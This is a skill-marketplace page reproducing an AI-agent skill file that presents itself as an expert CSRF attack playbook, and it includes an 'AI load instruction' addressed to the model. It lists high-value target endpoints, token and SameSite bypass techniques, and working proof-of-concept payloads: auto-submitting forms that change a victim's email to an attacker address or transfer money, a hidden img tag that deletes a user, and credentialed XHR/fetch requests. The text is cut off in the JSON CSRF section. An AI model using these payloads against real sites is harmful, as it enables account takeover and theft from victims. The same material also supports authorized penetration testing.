Skip to content
Security
Skill

/csrf-cross-site-request-forgery

CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.

From plugin
hack-skills
2.7k103 skills

Claude Code

$ npx -y skills add yaklang/hack-skills --skill csrf-cross-site-request-forgery --agent claude-code

SKILL.md

csrf-cross-site-request-forgery.SKILL.md
name: csrf-cross-site-request-forgery
description: >-
  CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.

SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.

0. RELATED ROUTING

Also load:

  • [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when JSON endpoints become readable cross-origin
  • [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) when login, account linking, or callback binding relies on OAuth state

---

1. CORE CONCEPT

CSRF exploits a victim's active session to perform state-changing requests **from the attacker's origin**.

**Required conditions**: 1. Victim is authenticated (active session cookie) 2. Server identifies session via cookie only (no secondary check) 3. Attacker can predict/construct the valid request 4. Cookie is sent cross-origin (SameSite=None or legacy behavior)

---

2. FINDING CSRF TARGETS

**High-value state-changing endpoints**:

- Password change         ← account takeover
- Email change            ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer   ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable  
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update

---

3. TOKEN BYPASS TECHNIQUES

No Token Present

Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.

Token Not Validated (most common finding!)

Token exists in request but is never verified server-side:

Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass

Token Tied to Session but Not to User

Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token  
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass

Token in Cookie Only

When server sets CSRF token as cookie and expects it back in a header/form:

Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass

Static or Predictable Token

→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable

Double Submit Cookie Pattern (broken if subdomain trusted)

If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass

---

4. SAMESITE BYPASS SCENARIOS

**SameSite=Lax** (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.

**Bypass SameSite=Lax via GET method**:

<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>

**Bypass via subdomain XSS (SameSite Lax/Strict)**:

// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';

**SameSite=None** (legacy or explicit): cookies sent everywhere → classic CSRF applies.

**Cookie issued recently? Lax exemption:** Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.

---

5. CSRF PROOF OF CONCEPT TEMPLATES

Simple Form POST

<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Auto-click Submit

<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>

CSRF via GET (with img tag)

<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">

CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)

If API requires custom header like `X-CSRF-Token` but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:

// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');

---

6. JSON CSRF

When endpoint accepts `Content-Type: application/json` — fetch() with CORS credentials:

// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

**Requires**: `Access-Control-Allow-Origin: https://attacker.com

Read more
@yaklang
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.

2.7k103 skills
Get the whole plugin

Stars on GitHub

Momentum

stars in total
2.7k
Star history of yaklang/hack-skills on GitHub, a chart by star-history.com

Other skills on hack-skills.

ai-ml-security

ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…

@yaklang@yaklangInstall Skill

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

nemoclaw13d23k
@nvidia@nvidiaInstall Skill

Questions about csrf-cross-site-request-forgery.

Which coding agents can use csrf-cross-site-request-forgery?
csrf-cross-site-request-forgery installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.